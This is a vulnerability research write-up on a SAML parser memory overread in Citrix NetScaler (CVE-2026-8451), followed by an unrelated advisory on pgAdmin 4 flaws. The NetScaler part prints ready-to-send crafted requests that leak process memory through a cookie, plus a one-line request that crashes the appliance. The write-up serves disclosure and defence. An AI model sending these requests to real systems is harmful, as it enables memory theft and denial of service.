Anyone familiar with SAML will know that clients kick off authentication by submitting a base64-encoded XML document to an endpoint like this. Buried inside that XML document is an AuthnRequest, which describes everything the identity provider needs to know, including the issuer, destination, timestamps, and a handful of other attributes.

With nothing else to catch our attention, we decided to take what we were given and focus here.

As anyone who has spent time hunting vulnerabilities will tell you, after hopefully recovering, XML parsers are deceptively difficult to implement correctly. Even experienced developers (and others.. that sign pledges…) generally know better to not do anything else except rely on well-tested libraries.

Citrix, however, appears to have chosen a different path. To ensure allegiance to the pledge.

The result is delightful snippets like the following, taken from the code responsible for parsing XML attributes such as foo="bar":

cursor = <some string input>

whitespaceCharList = 0x100002600;

// Skip leading whitespace
for ( lookahead = (v32 + 28); ; lookahead++ )
{
    ch = *cursor;
    if ( ch > '=' )
        break;
    if ( !_bittest64(&whitespaceCharList, ch) )
    {
        if ( ch == '=' )
        {
            while ( 1 )
            {
                ch = *lookahead;
                if ( ch > 0x20 || !_bittest64(&whitespaceCharList, ch) )
                    break;
                ++lookahead;
            }
            cursor = lookahead;
        }
        break;
    }
    ++cursor;
}

// Determine how the value is quoted. This accepts both single and double quotes, or
// no quotes at all (in which case, the value is terminated by whitespace).
if ( ch == '\'' || ch == '"' )
{
    terminator = ch;
    first = *++cursor;
}
else
{
    terminator = ' ';
    first = ch;
}
if ( first == terminator )
    return 0xE0002;     // The value is empty.

// Now walk forward until we find the terminator.
scanPos = cursor;
while ( first != '\0' && first != '>' )
{
    scanPos++;
    first = *scanPos;
    if (first == terminator)
        break
}

if ( scanPos == cursor )
    return 0xE0002;     // the value is empty.

out->value_ptr = cursor;
out->value_len = scanPos - cursor;

The first thing that probably jumps out is the slightly odd-looking _bittest64() call.

Fortunately, it isn't doing anything particularly exotic.

It simply checks whether a character belongs to a predefined set, encoded as bit positions within the constant 0x100002600. In practice, that means it matches the characters 0x09, 0x0A, 0x0D, and 0x20, which correspond to horizontal tab, line feed, carriage return, and space.

There is one subtle detail. ASCII values range from 0 to 255, while the lookup table is only 64 bits wide. The > 0x20 check exists to avoid indexing beyond the end of that table.

The comments should make the rest of the function fairly easy to follow. Its job is simply to locate the value portion of an XML attribute and return both a pointer to the value and its length.

It also looks... a little questionable. If your promise ring isn’t reverberating yet, you should probably charge it. As we’ve regularly seen and been forced to dea with, string parsing code has a habit of hiding subtle bugs - and surprise, this implementation has a few characteristics that immediately made us suspicious.

For example, there are no obvious bounds checks. If the input is malformed enough, it looks entirely possible for the parser to read past the end of the input buffer. What happens if an attribute value is never terminated?

But things get even stranger when you look at the parser's termination logic.

Throughout most of the function, _bittest64() is used to recognize the characters that terminate a value. However, there is one special case: unquoted attribute values.

In that path, whitespace is no longer treated as a terminator. Instead, the parser only stops when it encounters a null byte, a closing >, or the matching quote character.

That difference might seem insignificant, but it turns out to matter quite a bit (no way!).

A Wild NetScaler Appears! watchTowr used “Mean Look To See If It Falls Over”.

Having seen the quality of XML parsers in general, let alone Citrix’s track record that we’ve already discussed, we did what anyone would do - we let our small pets walk across our keyboards, and watched for unexpected intended functionality.

Fortunately, NetScaler makes this fairly easy (we supplied the pets).

A quick shell command drops you into the underlying operating system, where you can simply tail the relevant log file:

/var/log/ns.log

That gives us a front-row seat to exactly how the parser interprets our input.

We'll start with a minimal SAML AuthnRequest. It gives us a clean baseline before we begin progressively breaking things and observing how the parser responds:

<samlp:AuthnRequest 
    xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" 
    xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" 
    ID="_99d3e71118f42305e05acb14ad0bd917" 
    Version="2.0" 
    ProviderName="SP test" 
    Destination="<http://idp.example.com/SSOService.php>" 
    ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" 
    AssertionConsumerServiceURL="<http://sp.example.com/demo1/index.php?acs>">
    <saml:Issuer><http://sp.example.com/demo1/metadata.php></saml:Issuer>
    <samlp:NameIDPolicy Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress" AllowCreate="true"/>
    <samlp:RequestedAuthnContext Comparison="exact">
    <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
    </samlp:RequestedAuthnContext>
</samlp:AuthnRequest>

After base64-encoding the request and sending it, we keep one eye on the logs and one eye on the debugger. As expected, NetScaler parses each of the values correctly:

POST /saml/login HTTP/1.1
Host: all-ur-boxen.com
Content-Length: 1090

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCAKCXhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIAoJeG1sbnM6c2FtbD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiIgCglJRD0iXzk5ZDNlNzExMThmNDIzMDVlMDVhY2IxNGFkMGJkOTE3IiAKCVZlcnNpb249IjIuMCIgCglQcm92aWRlck5hbWU9IlNQIHRlc3QiIAoJRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIAoJUHJvdG9jb2xCaW5kaW5nPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YmluZGluZ3M6SFRUUC1QT1NUIiAKCUFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0iaHR0cDovL3NwLmV4YW1wbGUuY29tL2RlbW8xL2luZGV4LnBocD9hY3MiPgoJPHNhbWw6SXNzdWVyPmh0dHA6Ly9zcC5leGFtcGxlLmNvbS9kZW1vMS9tZXRhZGF0YS5waHA8L3NhbWw6SXNzdWVyPgoJPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KCTxzYW1scDpSZXF1ZXN0ZWRBdXRobkNvbnRleHQgQ29tcGFyaXNvbj0iZXhhY3QiPgoJPHNhbWw6QXV0aG5Db250ZXh0Q2xhc3NSZWY%2bdXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFjOmNsYXNzZXM6UGFzc3dvcmRQcm90ZWN0ZWRUcmFuc3BvcnQ8L3NhbWw6QXV0aG5Db250ZXh0Q2xhc3NSZWY%2bCgk8L3NhbWxwOlJlcXVlc3RlZEF1dGhuQ29udGV4dD4KPC9zYW1scDpBdXRoblJlcXVlc3Q%2b

The HTTP response is just a 302 (honestly, it��s contents are not particularly interesting, so we have omitted them):

HTTP/1.1 302 Object Moved
Location: /vpn/index.html
Set-Cookie: NSC_TASS=YXNkZgBJRD1fOTlkM2U3MTExOGY0MjMwNWUwNWFjYjE0YWQwYmQ5MTcmYmluZD1wb3N0JkFDU1VSTD1odHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcwA=;HttpOnly;Path=/;Secure
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http://localhost>:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action  'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 398
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

&lt;html&gt;&lt;head&gt;&lt;META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"&gt;&lt;script type="text/javascript" src="/vpn/resources.js"&gt;&lt;/script&gt;&lt;script type="text/javascript" src="/vpn/init/redirection_body_resources.js"&gt;&lt;/script&gt;&lt;/head&gt;&lt;body&gt;&lt;span id="This object may be found "&gt;&lt;/span&gt;<a href="/vpn/index.html">&lt;span id="here"&gt;&lt;/span&gt;</a>&lt;span id="Trailing phrase after here"&gt;&lt;/span&gt;&lt;/body&gt;&lt;/html&gt;

And in our friendly logs….:

AuthnReq start tag parsed, id=<_99d3e71118f42305e05acb14ad0bd917>, 
acs=<http://sp.example.com/demo1/index.php?acs>, forceAuth=<0>, binding=<POST>, 
following data  "    ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"        AssertionConsumerServiceURL=""

So far, nothing particularly surprising. NetScaler successfully extracts the ID and AssertionConsumerServiceURL attributes, while ForceAuthn falls back to its default value.

However, we were still deeply suspicious of the attribute parser. Earlier, we pointed out that unquoted attribute values are terminated differently from quoted ones. With not much faith left in humanity, we wondered what would happen if we used a newline to terminate one.

There was only one way to find out - yes, the pets were asked to walk across our keyboards, again.

<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11
id=22>
<saml:Issuer>watchtowr</saml:Issuer>
</samlp:AuthnRequest>

This time, we've replaced the space after AssertionConsumerServiceURL with a newline.

Once again, we base64-encode the document and POST it to /saml/login:

POST /saml/login HTTP/1.1
Host: 192.168.80.125
Content-Length: 190

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBWZXJzaW9uPSIyLjAiIEFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0xMQppZD0yMj4KPHNhbWw6SXNzdWVyPndhdGNodG93cjwvc2FtbDpJc3N1ZXI%2bCjwvc2FtbHA6QXV0aG5SZXF1ZXN0Pg==

The response is practically the same as before:

HTTP/1.1 302 Object Moved
Location: /vpn/index.html
Set-Cookie: NSC_TASS=YXNkZgBJRD0yMiZiaW5kPXBvc3QmQUNTVVJMPTExCmlkPTIyAA==;HttpOnly;Path=/;Secure
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http://localhost>:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action  'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 398
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

&lt;html&gt;&lt;head&gt;&lt;META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"&gt;&lt;script type="text/javascript" src="/vpn/resources.js"&gt;&lt;/script&gt;&lt;script type="text/javascript" src="/vpn/init/redirection_body_resources.js"&gt;&lt;/script&gt;&lt;/head&gt;&lt;body&gt;&lt;span id="This object may be found "&gt;&lt;/span&gt;<a href="/vpn/index.html">&lt;span id="here"&gt;&lt;/span&gt;</a>&lt;span id="Trailing phrase after here"&gt;&lt;/span&gt;&lt;/body&gt;&lt;/html&gt;

With the log file… not being so coy:

AuthnReq start tag parsed, id=<22>, acs=<11 id=22>, forceAuth=<0>, binding=<Unknown>, 
following data  Version="2.0" AssertionConsumerServiceURL=11 id=22> <saml:Issuer>watchtowr</saml:Issuer> </samlp:Au"

That's... interesting.

You might have to read the log twice before it jumps out at you.

Notice that the acs value has been parsed as:

11 id=22

That is clearly wrong. Looking at the XML we sent, the value should simply be 11.

Instead, the parser has read past the correct end of the attribute, failed to recognize the newline as a valid terminator (exactly as we suspected), and continued consuming input until it eventually encountered the > terminating the AuthnRequest start tag.

Then, things became even more interesting.

As we saw earlier, this XML parser is surprisingly relaxed about what constitutes a valid closing tag. In particular, it is happy to accept a < as the terminator for an AuthnRequest start tag instead of the expected >.

That means we can take things one step further. If we terminate both AssertionConsumerServiceURL and ID with newlines, and leave the opening AuthnRequest tag unclosed, we end up with the following request:

<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=
id=
<saml:Issuer>watchtowr</saml:Issuer>
</samlp:AuthnRequest>

Let’s base64 and send it on its way:

POST /saml/login HTTP/1.1
Host: 192.168.80.125
Content-Length: 180

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBWZXJzaW9uPSIyLjAiIEFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0KaWQ9CjxzYW1sOklzc3Vlcj53YXRjaHRvd3I8L3NhbWw6SXNzdWVyPgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4=

The response is, again, uninteresting:

HTTP/1.1 302 Object Moved
Location: /vpn/index.html
Set-Cookie: NSC_TASS=YXNkZgBJRD08c2FtbDpJc3N1ZXImYmluZD1wb3N0JkFDU1VSTD1pZD0KPHNhbWw6SXNzdWVyAA==;HttpOnly;Path=/;Secure
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http://localhost>:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action  'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 398
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

&lt;html&gt;&lt;head&gt;&lt;META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"&gt;&lt;script type="text/javascript" src="/vpn/resources.js"&gt;&lt;/script&gt;&lt;script type="text/javascript" src="/vpn/init/redirection_body_resources.js"&gt;&lt;/script&gt;&lt;/head&gt;&lt;body&gt;&lt;span id="This object may be found "&gt;&lt;/span&gt;<a href="/vpn/index.html">&lt;span id="here"&gt;&lt;/span&gt;</a>&lt;span id="Trailing phrase after here"&gt;&lt;/span&gt;&lt;/body&gt;&lt;/html&gt;

.. but the generated log is far from boring:

AuthnReq start tag parsed, id=<<saml:Issuer>, acs=<id= <saml:Issuer>, 
forceAuth=<0>, binding=<Unknown>, following data  Version="2.0" AssertionConsumerServiceURL= id= <saml:Issuer>watchtowr</saml:Issuer> </samlp:AuthnRe"

So far, our theory holds up.

The AssertionConsumerServiceURL value is not terminated at the newline. Instead, the parser keeps reading until it encounters the > from the closing Issuer tag. The ID attribute behaves exactly the same way.

At this point, it is pretty clear that we have an overread. The parser is reading well beyond the intended bounds of each attribute value. We are still only reading XML that happens to be present in the input buffer, but the parser is clearly consuming far more data than it should.

That is already interesting, but the obvious question is: “Do we lease our bug-hunting pets?” Sometimes.

The other question you may be inclined to ask, may resemble the following: “Where does all of this overread data end up?

To answer that, we need to look at what this function actually produces.

On success, it returns an HTTP response containing an NSC_TASS cookie. Among other things, this cookie stores the ID and AssertionConsumerServiceURL values that were parsed from the incoming XML request:

NSC_TASS=YXNkZgBJRD08c2FtbDpJc3N1ZXImYmluZD1wb3N0JkFDU1VSTD1pZD0KPHNhbWw6SXNzdWVyAA==

This decodes to:

00000000  61 73 64 66 00 49 44 3d  3c 73 61 6d 6c 3a 49 73  |asdf.ID=<saml:Is|
00000010  73 75 65 72 26 62 69 6e  64 3d 70 6f 73 74 26 41  |suer&bind=post&A|
00000020  43 53 55 52 4c 3d 69 64  3d 0a 3c 73 61 6d 6c 3a  |CSURL=id=.<saml:|
00000030  49 73 73 75 65 72 00                              |Issuer.|

asdf is simply the configured provider name. The interesting part is everything that follows.

You can see the values parsed from our XML request being embedded directly into the cookie. The ID field now contains <saml:Issuer, and the ACSURL field has similarly consumed data well beyond the intended attribute value.

Shock - we are once again miserable about the world (we say, fiddling with our promise rings).

We’ve so far demonstrated what nobody needed a crystal ball to predict - the NetScaler appliance is willing to return data it never should have associated with those attributes. So far, though, the overread is still confined to our own request buffer.

The next challenge is obvious: instead of reading within the request, can we make it read beyond the end of the request?

Reading Into The Unknown

We spent quite a while trying to figure out how to push the parser past the end of the request buffer. After a healthy amount of trial and error, we concluded that our login request to /saml/login needed to satisfy a few conditions:

• It must contain both a <samlp:AuthnRequest> and a corresponding </samlp:AuthnRequest>. We can't simply leave the request unterminated.
• It must contain a valid <saml:Issuer>watchtowr</saml:Issuer>.
• It must contain either an AssertionConsumerServiceURL= or ID attribute terminated by a newline, or not terminated at all.

At first glance, those requirements seem mutually exclusive.

They aren't.

By this point, we'd already learned just how forgiving the parser was. We'd shown that the opening AuthnRequest tag didn't actually need a closing >, but we also discovered something even stranger: the parser was surprisingly relaxed about element nesting.

For example:

<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11
id=22
</samlp:AuthnRequest>
<saml:Issuer>watchtowr</saml:Issuer>

Here we’ve got the same request as before - but this time, the Issuer is moved outside the AuthnRequest.

Any sane parser would reject this, but we’re not dealing with sanity. Of course, the NetScaler appliance actually accepts it.

AuthnReq start tag parsed, id=<22 <saml:Issuer>, acs=<11 id=22 <saml:Issuer>, forceAuth=<0>, binding=<Unknown>

One important detail is that this only works if the opening AuthnRequest tag is left unterminated. If it is closed normally, the parser rejects the document, strongly suggesting the behavior we’re observing is tied to the parser's attribute-handling logic.

Once we realized that, we started experimenting a little more. It turns out the parser is surprisingly tolerant of attribute ordering as well. For example:

<samlp:AuthnRequest
<saml2:issuer>watchtowr</saml2:issuer>
</samlp:AuthnRequest>
Version="2.0"
id="11"
AssertionConsumerServiceURL="22"

This yields a successful response - although the extracted details are incorrect:

AuthnReq start tag parsed, id=<>, acs=<22>, forceAuth=<0>, binding=<Unknown>

You might note that the acs value returned is correct - 22 - because we’ve carefully enclosed the value in the request in quotes.

What happens if we can make the parser overread past the end of the request buffer instead?

<samlp:AuthnRequest
<saml2:issuer>watchtowr</saml2:issuer>
</samlp:AuthnRequest>
Version="2.0"
id="11"
AssertionConsumerServiceURL=

And in our favorite log…:

AuthnReq start tag parsed, id=<>, acs=<▒^M▒ﾭ▒="2.0" id="11" 
AssertionConsumerServiceURL="22"ﾭ▒mple.com/demo1/index.php</saml:Issuer>, 
forceAuth=<0>, binding=<Unknown>

OH HO HO. Finally, we’re almost there!

The parser is no longer just reading extra XML. It's pulling arbitrary binary data from beyond the end of the XML buffer and happily appending it to the parsed value.

The only question left is whether that value makes it all the way back to us via the NSC_TASS cookie we looked at earlier:

NSC_TASS=YXNkZgBJRD0mYmluZD1wb3N0JkFDU1VSTD3wDZDvvq3ePSIyLjAiCmlkPSIxMSIKQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSIyMiLvvq3ebXBsZS5jb20vZGVtbzEvaW5kZXgucGhwPC9zYW1sOklzc3VlcgA=

And decoded…:

00000000  61 73 64 66 00 49 44 3d  26 62 69 6e 64 3d 70 6f  |asdf.ID=&bind=po|
00000010  73 74 26 41 43 53 55 52  4c 3d f0 0d 90 ef be ad  |st&ACSURL=......|
00000020  de 3d 22 32 2e 30 22 0a  69 64 3d 22 31 31 22 0a  |.="2.0".id="11".|
00000030  41 73 73 65 72 74 69 6f  6e 43 6f 6e 73 75 6d 65  |AssertionConsume|
00000040  72 53 65 72 76 69 63 65  55 52 4c 3d 22 32 32 22  |rServiceURL="22"|
00000050  ef be ad de 6d 70 6c 65  2e 63 6f 6d 2f 64 65 6d  |....mple.com/dem|
00000060  6f 31 2f 69 6e 64 65 78  2e 70 68 70 3c 2f 73 61  |o1/index.php</sa|
00000070  6d 6c 3a 49 73 73 75 65  72 00                    |ml:Issuer.|

Finally!

Take a look at the ACSURL value. It now contains binary data that should never have been returned to us, including the unmistakable 0xdeadbeef fill pattern.

Our overread has worked.

The parser has read beyond the end of the XML buffer, and we've successfully tricked NetScaler into returning memory that was never supposed to leave the process. Completely unpredictably.

It’s never done that before (lol)

One thing we’re keen to note: in contrast to the original CVE-2026-0050, in which kilobytes of binary data can be leaked, this overread will terminate the out-of-bounds read when various control characters are read, such as NULL (or even >).

In practice, we found that by varying the request length, we could consistently squeeze a few bytes out of the server:

c:\>python watchTowr-vs-Netscaler-CVE-2026-8451.py <https://192.168.80.125>
..
Leaked bytes:
00000000  f0 0d 90 de de de de de de de de de de de de de   |................|
00000010  de de de de de de de de de de de de de de de de   |................|
00000020  de de de de de de de de de de de de de de de de   |................|
00000030  de de de de de de de de de de de de de de de de   |................|
00000040  de de de de de de de de de de de de de de ed a7   |................|
00000050  0c a1 35 00                                       |..5.|
..

There’s clearly data leaking here (0xf00d!) and, interestingly, what appears to be a data pointer (0xa10ca7ed).

We can't say with certainty what this pointer references, but it certainly looks plausible. If it is a valid process pointer, then this bug graduates from a simple information disclosure to a genuine infoleak primitive. Paired with a suitable memory corruption vulnerability, it could be exactly the kind of building block needed for a full device compromise.

Of course, if you're more interested in demonstrating impact than building exploit chains, there is a much easier route, as naturally in enterprise-grade security appliances, requests as simple as the following are enough to reliably crash the target system:

<samlp:AuthnRequest ID=

POST /saml/login HTTP/1.1
Host: 192.168.80.125
Content-Length: 46

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBJRD0%3D

This request causes the nsppe process to "crash out":

Detection Artefact Generator

As always, we’re here to share our Detection Artefact Generator to determine your own susceptibility and inform remediation in your own environments. It can be found on our GitHub here.

c:\>python watchTowr-vs-Netscaler-CVE-2026-8451.py <https://all-ur-boxen.com>
..
Leaked bytes:
00000000  f0 0d 90 de de de de de de de de de de de de de   |................|
00000010  de de de de de de de de de de de de de de de de   |................|
00000020  de de de de de de de de de de de de de de de de   |................|
00000030  de de de de de de de de de de de de de de de de   |................|
00000040  de de de de de de de de de de de de de de ed a7   |................|
00000050  0c a1 35 00                                       |..5.|
..

Thanks, PolyMarket

We get to eat tonight!

Timeline

• Date: 28th March 2026
• Detail: watchTowr discovers issue, notifies Citrix and affected clients
• Date: 28th March 2026
• Detail: Citrix responds with what appears to be an automatic reply
• Date: 30th April 2026
• Detail: watchTowr requests update from Citrix
• Date: 7th May 2026
• Detail: watchTowr again requests update from Citrix
• Date: 7th May 2026
• Detail: Citrix advises that a fix is being developed
• Date: 14 June 2026
• Detail: Citrix advise they expect to publish on 29th June
• Date: 25th June 2026
• Detail: Citrix advises that a fix may be delayed by ‘a few days’; watchTowr responds that this is acceptable
• Date: 30th June 2026
• Detail: Citrix publish advisory and patches
• Date: 30th June 2026
• Detail: watchTowr publishes research, and memes

The research published by watchTowr Labs is powered by the same engine behind the watchTowr Platform, our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.

The watchTowr Platform combines External Attack Surface Management and Continuous Automated Red Teaming to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO

---

Related vulnerabilities: CVE-2025-12101CVE-2026-3055CVE-2025-12101CVE-2026-0050CVE-2026-3055CVE-2025-5777CVE-2026-8451CVE-2025-5777

WARNING: Remote Code Execution and Cross-Site Scripting in pgAdmin 4 Can Be Exploited to Execute Arbitrary Commands and Exfiltrate Database Credentials. Patch Immediately! | CCB Belgium

Reference: https://ccb.belgium.be/advisories/warning-remote-code-execution-and-cross-site-scripting-pgadmin-4-can-be-exploited

Published : 22/06/2026

> * Last update: 22/06/2026 > * Affected software: pgAdmin 4 prior to version 9.16 > * Type:
> → CWE-306: Missing Authentication for Critical Function / CWE-502: Deserialization of Untrusted Data
> → CWE-285: Improper Authorization
> → CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-Site Scripting') > * CVE/CVSS
> → CVE-2026-12048: CVSS 9.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)
> → CVE-2026-12046: CVSS 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
> → CVE-2026-12045: CVSS 9.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)

Sources

pgAdmin - https://www.pgadmin.org/docs/pgadmin4/9.16/release_notes_9_16.html

Risks

pgAdmin 4 is the leading open-source graphical administration and management tool for PostgreSQL databases, widely used by database administrators in both server and desktop deployments.

If exploited, these vulnerabilities could allow attackers to execute arbitrary commands on the underlying server, gain unauthorized access to the database management interface without valid credentials, or inject malicious scripts that steal saved database credentials and issue SQL queries against every connected server. Successful exploitation may result in unauthorized access to sensitive database information (Confidentiality), unauthorized modification or deletion of database content (Integrity), or disruption of database management services (Availability).

Description

CVE-2026-12048 is a stored cross-site scripting vulnerability where PostgreSQL server error text and Explain plan-node content were passed unsanitized through html-react-parser across multiple UI components, including notifier toasts, form errors, modal alerts, and the Explain visualiser. Because pgAdmin's default Content-Security-Policy allows inline scripts, injected JavaScript runs same-origin to the victim's authenticated session and can read every saved server connection credential and issue arbitrary SQL against every server the victim is connected to.

CVE-2026-12046 affects two SQL Editor endpoints (close and update_connection) that were missing the authentication decorator (@pga_login_required) in server mode. This made the endpoints reachable by unauthenticated attackers and exposed a pickle deserialization sink, enabling remote code execution without prior authentication.

